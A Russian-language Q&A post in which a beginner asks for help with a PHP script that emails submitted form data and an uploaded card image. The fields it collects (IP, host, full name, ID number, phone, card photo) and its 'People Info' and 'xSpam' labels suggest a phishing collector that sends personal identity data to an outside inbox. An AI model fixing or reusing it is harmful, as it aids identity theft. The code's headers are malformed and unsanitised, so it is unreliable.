Отправить изображение и данные формы на PHP - PullRequest
0 голосов
/ 25 мая 2020

Я немного новичок в этом. Я хочу отправить файл из сценария PHP на свой адрес электронной почты. Он показывает, что файл отправлен успешно, но когда я проверяю свою электронную почту, он не отправляет файл с правильными расширениями, а также не отправляет данные формы, также связанные с вложением.

Мой код выглядит следующим образом

<?php
    $ip = getenv('REMOTE_ADDR');
    $host = gethostbyaddr($ip);

    $from = 'xSpam@onetmail.com';
    $to = 'george.washington@onepost.co.za';
    $subject = "People Info - $host";

    $fullname= $_POST['fullname'];
    $ID = $_POST['ID'];
     $telNum = $_POST['telNum'];

    $message = "-------\n Infosz \n $ip: $ip\n Host: $host\n Name in Full :$fullname \n ID: $ID\n Tel : $telNum ";

    $tmp_name    = $_FILES['card']['tmp_name']; 
    $file_name   = $_FILES['card']['name'];  
    $size        = $_FILES['card']['size'];   
    $file_type   = $_FILES['card']['type'];  
    $error       = $_FILES['card']['error'];

    $handle = fopen($tmp_name, "r"); 
    $content = fread($handle, $size);
    fclose($handle);     

    $encoded_content = chunk_split(base64_encode($content)); 

    $boundary = md5("random");
    $headers = "MIME-Version: 1.0\r\n";
    $headers .= "From:".$from."\r\n";
    $headers .= "Content-Type: multipart/mixed;\r\n";
    $headers .= "boundary = $boundary\r\n";
    $body = "--$boundary\r\n"; 

    $body .= "Content-Type: text/plain; charset=ISO-8859-1\r\n"; 
    $body .= "Content-Transfer-Encoding: base64\r\n\r\n";  
    $body .= chunk_split(base64_encode($message));        

    $body .= "--$boundary\r\n"; 
    $body .="Content-Type: $file_type; name=".$file_name."\r\n"; 
    $body .="Content-Disposition: attachment; filename=".$file_name."\r\n"; 
    $body .="Content-Transfer-Encoding: base64\r\n"; 
    $body .="X-Attachment-Id: ".rand(1000, 99999)."\r\n\r\n";  
    $body .= $encoded_content;   

    $sentMailResult = mail($to, $subject, $body, $headers);

    if($sentMailResult )  
    { 
       echo "File Sent Successfully."; 
    } 
?>
...